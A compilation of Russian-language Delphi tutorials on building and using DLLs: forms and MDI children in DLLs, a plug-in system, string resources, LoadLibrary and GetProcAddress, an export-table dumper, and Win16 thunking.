Обращаю внимание, что для того, чтобы проект был скомпилирован без ошибок, необходимо добавить в секцию uses модуль Forms.

Экспортируем нашу функцию с использованием ключевого слова exports :

exports
  ShowForm;

Компилируем проект и получаем файл dllforms.dll. Эти простые шаги - все, что необходимо сделать для создания динамической библиотеки, содержащей форму. Обратите внимание, что функция ShowForm объявлена с использованием ключевого слова stdcall. Оно сигнализирует компилятору использовать при экспорте функции соглашение по стандартному вызову (standard call calling convention). Экспорт функции таким образом создает возможность использования разработанной DLL не только в приложениях, созданных в Delphi.

Соглашение по вызову (Calling conventions) определяет, каким образом передаются аргументы при вызове функции. Существует пять основных соглашений: stdcall, cdecl, pascal, register и safecall. Подробнее об этом можно узнать, посмотрев раздел "Calling Conventions" в файле помощи Delphi.

Также обратите внимание, что значение, возвращаемое функцией ShowForm, соответствует значению ShowModal. Таким образом вы можете передавать некоторую информацию о состоянии формы вызывающему приложению.

Ниже представлено два листинга, первый из которых содержит полный код файла проекта DLL (модуль с формой здесь не приводится), а второй - модуль вызывающего приложения, в котором используется только что разработанная нами библиотека.

library DllForms;

uses
  SysUtils, Classes, Forms,
  DllFormUnit in 'DllFormUnit.pas' {DllForm};

{$R *.RES}

function ShowForm : Integer; stdcall;
var
  Form : TDLLForm;
begin
  Form := TDLLForm.Create(Application);
  Result := Form.ShowModal;
  Form.Free;
end;

begin
end.

unit TestAppUnit;
interface

uses
  Windows, Messages, SysUtils, Classes, Graphics,
  Controls, Forms, Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
end;

var
  Form1: TForm1;
  function ShowForm : Integer; stdcall; external 'dllforms.dll';

implementation
{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
begin
  ShowForm;
end;

end.

Прошу заметить, что при экспорте функции также было использовано ключевое слово stdcall.

Следует обратить особое внимание на работу с дочерними формами в DLL. Если, к примеру, в вызывающем приложении главная форма имеет значение свойства FormStyle, равным MDIForm, то при попытке вызова из DLL MDIChild-формы, на экране появится сообщение об ошибке, в котором будет говориться, что нет ни одной активной MDI-формы.

В тот момент, когда вы пытаетесь показать ваше дочернее окно, VCL проверяет корректность свойства FormStyle главной формы приложения. Однако в нашем случае все вроде бы верно. Так в чем же дело? Проблема в том, что при проведении такой проверки, рассматривается объект Application, принадлежащий не вызывающему приложению, а собственно динамической библиотеке. Ну, и естественно, поскольку в DLL нет главной формы, проверка выдает ошибку. Для того чтобы избежать такой ситуации, надо назначить объекту Application динамической библиотеки объект Application вызывающего приложения. Естественно, это заработает только в том случае, когда вызывающая программа - VCL-приложение. Кроме того, перед выгрузкой библиотеки из памяти необходимо вернуть значение объекта Application библиотеки в первоначальное состояние. Это позволит менеджеру памяти очистить оперативную память, занимаемую библиотекой. Следовательно, вам нужно сохранить указатель на "родной" для библиотеки объект Application в глобальной переменной, которая может быть использована при восстановлении его значения.

Итак, вернемся немного назад и перечислим шаги, необходимые нам для работы с помещенным в DLL MDIChild-формами.

В динамической библиотеке создаем глобальную переменную типа TApplication.
Сохраняем указатель на объект Application DLL в глобальной переменной.
Объекту Application динамической библиотеки ставим в соответствие указатель на Application вызывающего приложения.
Создаем MDIChild-форму и работаем с ней.
Возвращаем в первоначальное состояние значение объекта Application динамической библиотеки и выгружаем DLL из памяти.
Первый шаг прост. Просто помещаем следующий код в верхней части модуля DLL:

var
  DllApp: TApplication;

Затем создаем процедуру, которая будет изменять значение объекта Application и создавать дочернюю форму. Процедура может выглядеть примерно так:

procedure ShowMDIChild(MainApp: TApplication);
var
  Child: TMDIChild;
begin
  if not Assigned(DllApp) then
  begin
    DllApp := Application;
    Application := MainApp;
  end;
  Child := TMDIChild.Create(Application.MainForm);
  Child.Show;
end;

Все, что нам теперь необходимо сделать, - это предусмотреть возвращение значения объекта Application в исходное состояние. Делаем это с помощью процедуры MyDllProc:

procedure MyDLLProc(Reason: Integer);
begin
  if Reason = DLL_PROCESS_DETACH then
    { DLL is выгружается. Восстанавливаем значение указателя Application}
    if Assigned(DllApp) then
      Application := DllApp;
end;

Вместо заключения

Использование динамически подключаемых библиотек не так сложно, как это может показаться на первый взгляд. DLL предоставляют широчайшие возможности для оптимизации работы приложений, а также работы самих программистов. Используйте DLL и, возможно, ваша жизнь станет легче!

Взято с http://delphiworld.narod.ru


Использование DLL в качестве Plug-in

В темах для написания статей раздела "Hello World" присутствует вопрос о динамических библиотеках и модуле ShareMem. Я хотел бы несколько расширить постановку вопроса: Пусть нам надо построить систему безболезненно расширяемую функционально. Напрашивающее ся само собой решение — библиотеки динамической компоновки. И какие же грабельки разбросаны на этой тропинке?

Грабли

В месте моей текущей трудовой деятельности вопрос о такой системе всплыл давно. И поскольку он не собирался тонуть, создать такую систему пришлось. Так что всё изложенное ниже — из собственного опыта.

Первый вопрос возникающий при создании библиотеки (DLL): А что это тут написано в закомментированной части исходного кода библиотеки. А рассказывается там следующее — если вы используете динамические массивы, длинные строки (что и является динамическим ма ссивом) как результат функции, то необходимо чтобы первым в секции uses стоял модуль ShareMem. Причём и в основном проекте! От себя добавлю, что это относится более широко к тем случаям, когда вы выделяете память в одной библиотеке, а освобождаете в друго й, что и произойдёт когда вы создадите динамический массив в одной Dll-ке, а освободите его в другой.

Использовать ли ShareMem — вопрос конкретной постановки задачи. Если можно обойтись без таких выделений памяти, то вперёд, с песней! Иначе придётся вместе с программой таскать borlndmm.dll, которая и реализует безболезненный обмен указателями между библио теками.

Можно задаться вопросом "А почему?". И получить ответ "Так надо!". По всей видимости, Delphi работает с Heap (кучей, откуда выделяется память) по-своему. Некоторое время назад мы на работе обсуждали этот вопрос, ползали по исходникам и к единому мнению та к и не пришли. Но есть предположение, что Delphi выделяет сразу большой кусок памяти в куче и уже потом по запросу отрезает от него требуемые кусочки, тем самым не доверяя системе выделять память. Возможно, это не так и если кто подправит меня, буду благо дарен. Так или иначе — проблема существует, и решение имеется.

Вопрос второй, он освещался уже на этом сайте — а вот хочется положить форму в нашу библиотеку. Нет проблем, кладём, запускаем. Форма создаёт свою копию на панели задач. Почему? Если вы создавали окно средствами WinAPI, то обращали внимание на то, что заг оловок окна и текст соответствующей кнопки на панели задач совпадают и сделать их (тексты) различными невозможно. Т.е. когда процесс создаёт первое окно, у которого владелец — пустая ссылка (если точнее то Handle — дескриптор), то окно выводится на панель задач. А как же Delphi? В переменной Application:TApplication, которая имеется всегда, когда вы используете модуль Forms, при создании Application содаётся невидимое окно, которое становится владельцем для всех окон приложения. А поскольку у библиотеки н е происходит действий по инициализации окна переменной Application, то создаваемая форма не имеет окна владельца и как следствие — появление кнопки на панели задач. Решение уже описано, это передача ссылки на экземпляр объекта Application из вызывающей пр ограммы в вызываемый модуль и присвоение переменной Application переданного значения. Главное перед выгрузкой библиотеки не забыть вернуть старое значение Application.

Совпадение свойств Name разных окон будет вызывать исключительную ситуацию. Избегнуть этого не сложно, а возникает ошибка видимо из-за того, что разные типы классов имеют одно имя в пределах одного контейнера.

Достаточно важным является уничтожение окна перед выгрузкой библиотеки и завершением программы. Delphi расслабляет: за выделенными ресурсами следить не надо, окна сами создаются и уничтожаются и ещё много чего делается за программиста. Накидал компонентик ов, установил связи и всё готово... Представим: библиотека выгружена, окно из библиотеки существует, система за библиотекой уже почистила дескрипторы, да остальные ресурсики и что получается? Секунд пять Delphi при закрытии программы висит, а затем "Acces s violation ..." далее вырезано цензурой...

Больше граблей замечено не было. Да и упомянутые — серьёзной проблемы не представляют, единственное, что нужно, писАть аккуратно, текст вылизывать, да и думать почаще.

Построение программы с Plug In-ами

Возможно 2 подхода к построению такой программы

плагины получают информацию от ядра программы, но сами к ядру не обращаются. Назовём такой подход пассивным. в активном подходе плагины инициируют некоторые события и заставляют ядро их слушаться.

Второй подход требует более сложного алгоритмического построения, поэтому я рассмотрю только первый.

Пусть у нас есть программа, умеющая подключать динамические библиотеки (любые). Но для эффективной работы необходимо, чтобы эти библиотеки предоставляли стандартный интерфейс по передаче данных. По-русски, должен существовать стандартный набор экспортируе мых функций библиотеки, через которые программа будет с ними общаться.

В процессе работы выяснилось, что для пассивной модели достаточно 6 функций:

Получение внутренней информации о плагине (в программе function GetModuleInfo:TModuleInfo). При наличии в библиотеке такой функции и правильном её вызове, мы будем знать что эта DLL — наш плагин. Сама функция может возвращать что угодно, например название и тип плагина.

Формирование начальных значений (в программе procedure Initialize). Плагин приводит себя в порядок после загрузки, т.е. заполняет переменные значениями по умолчанию. Передача данных в плагин (в программе procedure SetData(Kind:TDataKind;const Buffer;Size:Integer)). Позволяет передавать данные в плагин. Получение данных — в программе не реализована, но делается по типу SetData. Запуск плагина (в программе Run). Запускается плагин. Действия могут быть различными: показ окна, модальный показ окна, расчёт какого-либо параметра и т.д. И есесьно останов плагина. Здесь действия обратные пункту 2.

Немного остановлюсь на передаче данных. Паскаль при всей своей жёсткой типизации предоставляет приятное средство передачи в функцию нетипизированных данных. Если программа знает о том, какие именно данные пришли, оттипизировать :) их достаточно просто. Эт от способ передачи используется в SetData. В модуле SharedTypes.Pas, используемом всеми тремя проектами описаны соответствующие константы TDataKind для типов передаваемых данных.

Теперь о реализации

Пусть ядро, т.е. exe-файл, ищет плагины, запускает их и по таймеру передаёт в них два цифровых значения, которые один плагин будет изображать в текстовом виде, а второй в виде диаграмм. Реализация плагинов отличается минимально, поэтому расскажу об одном — Digital.dll. Начнём перечисление функций:

// получение информации о плагине
function GetModuleInfo:TModuleInfo;stdcall;
var
  Buffer:array [byte] of char;
begin
  with Result do begin
    Name:='Отображение цифровых данных';
    Kind:=mkDigital;
    if GetModuleFileName(hInstance,@Buffer,SizeOf(Buffer)-1)>0 then
      Path:=ExtractFilePath(StrPas(Buffer));
  end;
end;

// Функция возвращает информацию о модуле. В данном
// случае это цифровое отображение, путь и тип модуля.

// инициализация
procedure Initialize;stdcall;
begin
  // запоминание старого Application
  OldApp:=Application;
  fmDigitalMain:=nil;
end;

// Процедура запоминает переменную Application
// и делает нулевой ссылку на форму плагина.

// запуск
procedure Run;stdcall;
begin
  // создание окна плагина
  if fmDigitalMain=nil then
    fmDigitalMain:=TfmDigitalMain.Create(Application);
end;

// Процедура запуска плагина созда?т окно.
// Окно созда?тся видимым.

// останов
procedure Terminate;stdcall;
begin
  // освобождение окна
  fmDigitalMain.Free;
  fmDigitalMain:=nil;
  // восстановление старого TApplication
  Application:=OldApp;
end;

// Процедура уничтожает окно и возвращает старый TApplication.

// при?м данных
procedure SetData(Kind:TDataKind;const Buffer;Size:Integer);stdcall;
begin
  case Kind of
    // передача TApplication
    dkApplication:if Size=SizeOf(TApplication) then
      Application:=TApplication(Buffer);
    // передача данных во время работы
    dkInputData:if fmDigitalMain<>nil then begin
      fmDigitalMain.SetData(Buffer,Size);
    end;
  end;
end;

// Процедура получения данных. В зависимости от полученного
// типа данных с данные в переменной Buffer соответственно
// типизируются. Здесь происходит обращение к форме плагина,
// расписывать я его не буду, там вс? просто, см. исходники.
// Типы, которые используются  здесь, описаны в SharedTypes.pas

По плагинам это всё.

Ядро

Прежде всего следует подумать об инкапсуляции функций подключённого плагина в класс. Этот класс реализован в Modules.pas. При создании экземпляра класса происходит поиск и запоминание всех адресов функций плагина. Последующие вызовы функций происходят в о дноимённых методах класса в том случае, если они не равны. Я приведу только описание типа класса:

type
  // описания типов функций модуля
  TGetModuleInfo=function:TModuleInfo;stdcall;
  TInitialize=procedure;stdcall;
  TRun=procedure;stdcall;
  TTerminate=procedure;stdcall;
  TSetData=procedure(Kind:TDataKind;const Buffer;Size:Integer);stdcall;

  // непосресдвенно сам класс
  TModule=class
  private
    FFileName:String;  //имя файла
    FHandle:THandle;   // дескриптор библиотеки
    FModuleInfo:TModuleInfo;  // информация о модуле
    // адреса функций плагина
    FGetModuleInfo:TGetModuleInfo; // функция получения информации о модуле
    FInitialize:TInitialize;  // процедура инициализации
    FRun:TRun;  // процедура запуска
    FTerminate:TTerminate;  // процедура останова
    FSetData:TSetData;  // процедура передачи данных
  public
    constructor Create(AFileName:String;var IsValidModule:Boolean);
    destructor Destroy;override;
    // вызов функций плагина
    function GetModuleInfo:TModuleInfo;
    procedure Initialize;
    procedure Run;
    procedure Terminate;
    procedure SetData(Kind:TDataKind;const Buffer;Size:Integer);
    // свойства плагина
    property FileName:String read FFileName;
    property Handle:THandle read FHandle;
    property ModuleInfo:TModuleInfo read FModuleInfo;
  end;

Как видно из текста, это простая надстройка над плагином, не добавляющая функциональности, но позволяющая хранить всё в одном объекте.

Теперь осталось только собрать плагины и запустить. Сбор информации и запуск происходит по нажатию одноимённой кнопки на главной форме. Как собирать плагины — дело вкуса. В этом примере я сканирую заданный каталог, можно хранить в INI-файле, реестре, можн о придумать свой формат хранения. Сбор плагинов:

// нажатие кнопки запуска
procedure TfmMain.btStartClick(Sender: TObject);
  // добавление плагинов в список
  procedure AppendModulesList(FileName:String);
  var
    Module:TModule;
    IsValid:Boolean;
  begin
    // создание экземпляра плагина
    Module:=TModule.Create(FileName,IsValid);
    // если создан некорректно
    if not IsValid then
      // удаление
      Module.Free
    else begin
      // добавление
      SetLength(ModulesList,Length(ModulesList)+1);
      ModulesList[Length(ModulesList)-1]:=Module;
    end;
  end;

var
  sr:TSearchRec;
  i:Integer;
begin
  // построение списка модулей
  SetLength(ModulesList,0);
  // поиск файлов *.dll
  if FindFirst(edPath.Text+'*.dll',faAnyFile and not faDirectory,sr)=0 then begin
    AppendModulesList(edPath.Text+sr.Name);
    while FindNext(sr)=0 do
      AppendModulesList(edPath.Text+sr.Name);
  end;
  // запуск найденных модулей
  if Length(ModulesList)>0 then begin
    for i:=0 to Length(ModulesList)-1 do begin
      // инициализация
      ModulesList[i].Initialize;
      // передача Application
      ModulesList[i].SetData(dkApplication,Application,SizeOf(Application));
      // запуск плагина
      ModulesList[i].Run;
    end;
    // старт таймера
    Events.Enabled:=True;
  end;
end;

Мне кажется, что я достаточно подробно описал в комментариях производимые действия :) Ну и последнее — засылка данных по таймеру:

procedure TfmMain.EventsTimer(Sender: TObject);
var
  Values:array [0..1] of Word;
  i:Integer;
begin
  // формирование случайных значений
  Values[0]:=Random($ffff);
  Values[1]:=Random($ffff);
  // передача данных
  if Length(ModulesList)>0 then
    for i:=0 to Length(ModulesList)-1 do begin
      ModulesList[i].SetData(dkInputData,Values,SizeOf(Values));
    end;
end;

Желательно не забывать об освобождении модулей

Взято с http://delphiworld.narod.ru


Как найти полный путь и имя файла запущенной DLL из самой DLL

uses Windows;

procedure ShowDllPath stdcall;
var
  TheFileName: array[0..MAX_PATH] of char;
begin
  FillChar(TheFileName, sizeof(TheFileName), #0);
  GetModuleFileName(hInstance, TheFileName, sizeof(TheFileName));
  MessageBox(0, TheFileName, 'The DLL file name is:', mb_ok);
end;

Автор: Олег Кулабухов

Взято с http://delphiworld.narod.ru

function GetModuleFileNameStr(Instance: THandle): string;
var
  buffer: array [0..MAX_PATH] of Char;
begin
  GetModuleFileName( Instance, buffer, MAX_PATH);
  Result := buffer;
end;

GetModuleFileNameStr(Hinstance); // dll name
GetModuleFileNameStr(0); // exe name

Взято с http://delphiworld.narod.ru


DLL со строковыми ресурсами

Делаешь текстовый файл с ресурсами, типа

--my.rc--
STRINGTABLE
{
00001, "My String #1"
00002, "My String #2"
}

Далее компилируешь его:
brcc32 my.rc
У тебя получится my.res.
Делаешь DLL:

--my.dpr--

library my;

{$R my.res}

begin

end.

Компилируешь Дельфиским компилятором:

dcc32 my.dpr
Получаешь, наконец-то свою my.dll

Теперь о том, как использовать.

В своей программе:

var
  h: THandle;
  S: array [0..255] of Char;
begin
  h := LoadLibrary('MY.DLL');
  if h <= 0 then
    ShowMessage('Bad Dll Load')
  else
  begin
    SetLength(S, 512);
    LoadString(h, 1, @S, 255);
    FreeLibrary(h);
  end;
end;

Взято с http://delphiworld.narod.ru


Импортирование, или обертка вызовов функций DLL

Импортирование, или 'обертка' вызовов функций DLL

Существует два метода для импорта и загрузки функций из Dynamic Link Library (DLL). Первый метод (который широко обсуждается в данном документе), называется "неявной" (Implicit) загрузкой. Неявная загрузка включает в себя статическую загрузку DLL при запуске программы, и получение доступа к функциям через интерфейс объектного Паскаля. Данный метод должен использоваться в случае, если приложение полностью зависит от загрузки DLL для соответствующего функционирования. Другой метод доступа называется "явной" загрузкой, поскольку DLL загружается динамически по требованию. Этот метод требует дополнительного кодирования и должен использоваться, если приложению нужно работать в случае, даже если DLL не смогла правильно загрузиться.

Что такое "обертка" функциональных вызовов?

Обертка функции, или набора функций, состоит из объявлений в секции interface и кода в секции implementation (вместе со связанными константами или типами), которые соответствуют функции, или набору функций, импортируемых из DLL. Обертка является простой декларацией в паскалевском модуле, которая обеспечивает точку входа в DLL. В Delphi обертка представляет собой файл модуля, содержащий код объектного паскаля. Группа разработчиков Delphi уже создала для вас обертку функций и стандартных элементов управления Windows. Но иногда возникает необходимость создания обертки для вызовов функций dll, но это в Delphi не обернуто по случаю сугубой индивидуальности каждой DLL и входящих в нее функций.

Первым, и самым сложным шагом в данном процессе является получение информации о функциях. Один из лучших источников для получения документации об имеющихся (доступных) в DLL функций является World Wide Web. Начать поиск можно с MSDN, а если и там нет информации, то можно обратиться к многочисленным поисковым серверам, которые частенько находят нужную вам информацию. Для получения структуры вызовов функций ищите залоговочные файлы C++ в продуктах типа Borland C++ или MS Visual C++. Соглашения об вызовах и преобразованиях типов обычно способны разрешить конфликты и несовместимость вызовов между C++ и PASCAL. Хороший ресурс по вопросам совместимости между Delphi и C++ расположен на сайте Borland по адресу: http://www.borland.com/delphi/papers/brick.html.

После того, как вы нашли необходимый пример, или документацию об экспортируемых DLL функциях, то следующим шагом будет создание нового модуля. Интерфейс модуля будет содержать константы и типы, необходимые для вызова отдельных функций DLL, и заголовки самих функций. Данные заголовки функций являются объектно-паскалевским интерфейсом, позволяющим другим приложениям Delphi вызывать функции рассматриваемой DLL. Как только секция модуля interface будет завершена, следующей секцией будет implementation. Секция модуля implementation содержит объявления импортируемых внешних функций. Эти заголовки не идентичны тем, которые расположены в секции модуля interface (которые содержат реальные идентификаторы функций плюс другую важную информацию для реализации). Для получения дополнительной информации по этой теме обратитесь к топику "DLLs:accessing procedures and functions" справки помощи по Delphi 3.

Представим себе, что у нас есть функция с именем BOB в DLL с именем 'BLODGE.DLL'. (ниже приведены подробные и необходимые шаги, где подразумевается, что мы будем использовать неявную загрузку DLL):

Поиск информации по Интернету показал, что функция BOB должна возвращать логическое значение и требует в качестве аргументов значения типа word и boolean.
Создайте в Delphi новый файл модуля с именем 'UseBob.pas' (File|New и выберите unit)
Следующая строка кода должна располагаться в секции interface нового модуля:

function BOB(Fire: Word; Dances: Boolean): Boolean; stdcall;

Следующая строка кода должна располагаться в секции implementation нового модуля:

function BOB; external 'BLODGE';

Сохраните модуль с именем 'UseBob.pas'.
Необходимо убедиться в том, что UseBob.pas расположен в каталоге текущего проекта, или находится в каталоге, прописанном в путях поиска Delphi.
Добавьте к списку uses модуля нового проекта модуль 'UseBob'. Теперь функция BOB может быть вызвана из нового проекта подобно любой другой стандартной функции.
Во время выполнения приложения BLODGE.DLL должен находится в пути текущих переменных окружения процесса.
Для способа, при котором 'BLODGE.DLL' должна быть загружена явно, требуется дополнительное кодирование. Как было подчеркнуто выше, необходимо знание аргументов функций/процедур (и тип результата в случае функции).
Ниже приведен модуль с реализацией вызова функции BOB, инициализируемый при нажатии на кнопку:

unit UDLLTest;

interface

uses

  Windows, Messages, SysUtils, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls;

type

  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

  { Вот типы, которые требуются для работы нашей функции bob }

  TBOB = function(Fire: Word; Dances: Boolean): Boolean; stdcall;

var

  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
var

  BOB: TBOB;
  hDLLInst: THandle;
  IsAlive, IsDancing: Boolean;
  Years: Word;

begin

  { Загружаем и получаем дескриптор нашего BLODGE.DLL }
  hDLLInst := LoadLibrary('BLODGE.DLL');
  { Если загрузка не была успешной, генерируем свое исключение }
  if (hDLLInst <= 0) then
    raise exception.create('[Неудачный вызов LoadLibrary]');
  { Попытаемся получить адрес функции BOB }
  try
    @BOB := GetProcAddress(hDLLInst, 'BOB');
    if not assigned(BOB) then
      raise exception.Create('[Неудачный вызов GetProcAddress]');
    Years := 25;
    IsDancing := True;
    { Теперь мы можем выполнить функцию BOB }
    IsAlive := BOB(Years, IsDancing);
  finally
    { Освобождаем дескриптор DLL }
    FreeLibrary(hDLLInst);
  end;
end;

end.

Взято с http://delphiworld.narod.ru


Аналог DumpBin

Иногда на форуме проскакивает такой вопрос: "Как можно поглядеть экспортируемые ф-ии какой либо длл'ины?".
Можно конечно же воспользоваться стандартными утилитами, но можно попробовать написать и что нить свое.
Сейчас я попробую показать такой пример. Напишем пример, который делает именно это - вытаскивает экспорт модуля.
Подробно расписывать тут ничего не буду, тут идет разбор элементов PE заголовка - нахождение таблицы экспорта,
перечисление ф-ий. Недостаток этого примера в том, что он работает уже с подгруженными модулями, т.к. для нахождения
базы используется GetModuleHandle().
Вставка:
The GetModuleHandle function returns a module handle for the specified module if the file has been mapped into the address
space of the calling process.
Для расширения возможностей - простмотра всех модулей, надо использовать
что нить другое, например "мэпирование" (CreateFileMapping() итд). Ведь надо хоть что нить самому сделать....

program ExpDump;

uses windows;

var
    ImageBase : DWord;
    DosHeader : PImageDosHeader;
    PeHeader  : PImageNtHeaders;
    PExport   : PImageExportDirectory;
    pname     : PDWord;
    name      : PChar;
    i         : Integer;
    cmdline   : string;

//#### ?-??: ????? ? ????
function Dump(const log: PChar): boolean;
Var hFile     : THandle;
    dwError   : DWord;
    dwWritten : DWord;
    buffer    : PChar;
begin
 hFile := CreateFile(PChar(cmdline + '_fexport.txt'), GENERIC_WRITE, 0, nil, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
 if (hFile = INVALID_HANDLE_VALUE) then begin
  result := FALSE;
  exit;
 end;

 dwError := SetFilePointer(hFile, 0, nil, FILE_END);
 if (dwError = $FFFFFFFF) then begin
  CloseHandle(hFile);
  result := FALSE;
  exit;
 end;

 buffer := PChar(log + #13#10);
 WriteFile(hFile, buffer^, length(buffer), dwWritten, nil);
 if (dwWritten < DWord(length(buffer))) then begin
  CloseHandle(hFile);
  result := FALSE;
  exit;
 end;
 CloseHandle(hFile);
 result := TRUE;
end;
//####

//#### Start
begin
  if (ParamCount < 1) then halt(0) else cmdline := ParamStr(1);

  ImageBase := GetModuleHandle(PChar(cmdline));
  if (ImageBase = 0) then begin
    MessageBox(0, 'Error Load Module', 'Error', MB_OK);
    halt(0);
  end;

  DosHeader := PImageDosHeader(ImageBase);
  if (DosHeader^.e_magic <> IMAGE_DOS_SIGNATURE) then begin
    MessageBox(0,'Error Dos Header','Error',MB_OK);
    halt(0);
  end;

  PEHeader := PImageNtHeaders(DWord(ImageBase) + DWord(DosHeader^._lfanew));
  if (PEHeader^.Signature <> IMAGE_NT_SIGNATURE) then begin
    MessageBox(0,'Error PE Header', 'Error', MB_OK);
    halt(0);
  end;

  PExport := PImageExportDirectory(ImageBase + DWord(PEHeader^.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress));
  pname   := PDWord(ImageBase + DWord(PExport^.AddressOfNames));

  Dump(PChar('Programm ExpDump =)'));
  Dump(PChar(cmdline + ' functions:'));
  Dump(PChar(#13#10));

  For i := 0 to PExport^.NumberOfNames - 1 do begin
   name := PChar(PDWord(DWord(ImageBase)  + PDword(pname)^));
   if (not Dump(name)) then halt(0);
   inc(pname);
  end;
end.
//#### End

Пример использования:

ExpDump.Exe User32.dll

В рехультате:

Programm ExpDump =)
user32.dll functions:

ActivateKeyboardLayout
AdjustWindowRect
AdjustWindowRectEx
AlignRects
AllowForegroundActivation
AllowSetForegroundWindow
AnimateWindow
AnyPopup
AppendMenuA
AppendMenuW
ArrangeIconicWindows
AttachThreadInput
BeginDeferWindowPos
BeginPaint
BlockInput
...

Для улучшения можно доделать так:
ImageBase := GetModuleHandle(PChar(cmdline));
  if (ImageBase = 0) then begin
    ImageBase := LoadLibrary(PChar(cmdline));
    if (ImageBase = 0) then begin
     MessageBox(0, 'Error Load Module', 'Error', MB_OK);
     halt(0);
    end;
  end;

И не забудте в конце FreeLibrary()

Автор x2er0
Взято из http://forum.sources.ru


Взаимодействие с Win16 кодом

Cодержание раздела:

Как вызывать функцию 16-битной DLL из 32-битного приложения?
Обмен информацией между приложениями Win32 - Win16


Как вызывать функцию 16-битной DLL из 32-битного приложения?

Надо использовать Thunks.

Кусок работающего только под Windows 95 кода -

const
   Gfsr_SystemResources = 0;
   Gfsr_GdiResources = 1;
   Gfsr_UserResources = 2;
 var
   hInst16: THandle;
   GFSR: Pointer;
 { Undocumented Kernel32 calls. }
 function LoadLibrary16(LibraryName: PChar): THandle; stdcall; external kernel32 index 35;
 procedure FreeLibrary16(HInstance: THandle); stdcall; external kernel32 index 36;
 function GetProcAddress16(Hinstance: THandle; ProcName: PChar): Pointer; stdcall; external kernel32 index 37;
 procedure QT_Thunk; cdecl; external kernel32 name 'QT_Thunk';
 { QT_Thunk needs a stack frame. }
 {$StackFrames On}
 { Thunking call to 16-bit USER.EXE. The ThunkTrash argument
 allocates space on the stack for QT_Thunk. }
 function NewGetFreeSystemResources(SysResource: Word): Word;
 var
   ThunkTrash: array[0..$20] of Word;
 begin
   { Prevent the optimizer from getting rid of ThunkTrash. }
   ThunkTrash[0] := hInst16;
   hInst16 := LoadLibrary16('user.exe');
   if hInst16 < 32 then
     raise Exception.Create('Cannot load USER.EXE!');
   { Decrement the usage count. This doesn't really free the
     library, since USER.EXE is always loaded. }
   FreeLibrary16(hInst16);
   { Get the function pointer for the 16-bit function in USER.EXE. }
   GFSR := GetProcAddress16(hInst16, 'GetFreeSystemResources');
   if GFSR = nil then
     raise Exception.Create('Cannot get address of GetFreeSystemResources!');
   { Thunk down to USER.EXE. }
   asm
     push SysResource { push arguments }
     mov edx, GFSR { load 16-bit procedure pointer }
     call QT_Thunk { call thunk }
     mov Result, ax { save the result }
   end;
 end;
Автор - Quality freeware from Sight&Sound, Slovenia : http://www.sight-sound.si

Андрей Гусев (Andrey Gusev)

Взято из Akzhan's Delphi-related VCL&WinAPI Tips'n'Tricks

Посылаю код для определения системных ресурсов (как в "Индикаторе ресурсов"). Использовалась статья "Calling 16-bit code from 32-bit in Windows 95".

{ GetFeeSystemResources routine for 32-bit Delphi.

Works only under Windows 9x }

unit SysRes32;

interface

const
//Constants whitch specifies the type of resource to be checked

GFSR_SYSTEMRESOURCES = $0000;
GFSR_GDIRESOURCES    = $0001;
GFSR_USERRESOURCES   = $0002;

// 32-bit function exported from this unit

function GetFeeSystemResources(SysResource: Word):Word;

implementation

uses

SysUtils, Windows;

type

//Procedural variable for testing for a nil

TGetFSR = function(ResType: Word): Word; stdcall;

//Declare our class exeptions

EThunkError = class(Exception);
EFOpenError = class(Exception);

var

User16Handle : THandle = 0;
GetFSR       : TGetFSR = nil;

//Prototypes for some undocumented API

function LoadLibrary16(LibFileName: PAnsiChar): THandle; stdcall;
external kernel32 index 35;

function FreeLibrary16(LibModule: THandle): THandle; stdcall;
external kernel32 index 36;

function GetProcAddress16(Module: THandle; ProcName: LPCSTR): TFarProc;stdcall;
external kernel32 index 37;

procedure QT_Thunk; cdecl;
external 'kernel32.dll' name 'QT_Thunk';

{$StackFrames On}

function GetFeeSystemResources(SysResource: Word):Word;
var

EatStackSpace: String[$3C];
begin
// Ensure buffer isn't optimised away

EatStackSpace := '';
@GetFSR:=GetProcAddress16(User16Handle,'GETFREESYSTEMRESOURCES');
if  Assigned(GetFSR) then  //Test result for nil
asm
//Manually push onto the stack type of resource to be checked first

push  SysResource
//Load routine address into EDX

mov   edx, [GetFSR]
//Call routine

call  QT_Thunk
//Assign result to the function

mov   @Result, ax
end
else raise EFOpenError.Create('GetProcAddress16 failed!');
end;

initialization

//Check Platform for Windows 9x
if Win32Platform <> VER_PLATFORM_WIN32_WINDOWS then

raise EThunkError.Create('Flat thunks only supported under Windows 9x');

//Load 16-bit DLL (USER.EXE)
User16Handle:= LoadLibrary16(PChar('User.exe'));

if User16Handle < 32 then
raise EFOpenError.Create('LoadLibrary16 failed!');

finalization

//Release 16-bit DLL when done
if User16Handle <> 0 then

FreeLibrary16(User16Handle);

end.

Взято с http://delphiworld.narod.ru


Обмен информацией между приложениями Win32 - Win16

Пользуйтесь сообщением WM_COPYDATA.
Для Win16 константа определена как $004A, в Win32 смотрите в WinAPI Help.

#define WM_COPYDATA                     0x004A
/*
 * lParam of WM_COPYDATA message points to...
 */
typedef struct tagCOPYDATASTRUCT {
    DWORD dwData;
    DWORD cbData;
    PVOID lpData;
} COPYDATASTRUCT, *PCOPYDATASTRUCT;


Программирование без VCL, работа с WinAPI

Cодержание раздела:

Как использовать WinAPI?
Минимальное оконное приложение без VCL
Как с помощью API поместить Label на Form?
Программирование на основе Win32 API в Delphi (статья)
Перехват нажатия на системные кнопки формы (закрытие , минимизация окна и т.д.)
Как заставить приложение Delphi отвечать на сообщения Windows?
Использование функций перечисления WinAPI
Как получить описание кода, полученного GetLastError?
Основы работы с Windows API New!
Присвоение форме выбранного окна свойства Disabled / Enabled New!
Отображение формы выбранного окна New!
Запретить в выбранном окне кнопку закрытия x New!
Закрыть выбранное окно New!
Сделать форму выбранного окна поверх остальных New!
Поменять заголовок выбранного окна New!

См. также в других разделах:
Как изменить оконную процедуру для TForm?
Как послать нажатие кнопки мыши в окно?


Как использовать WinAPI?

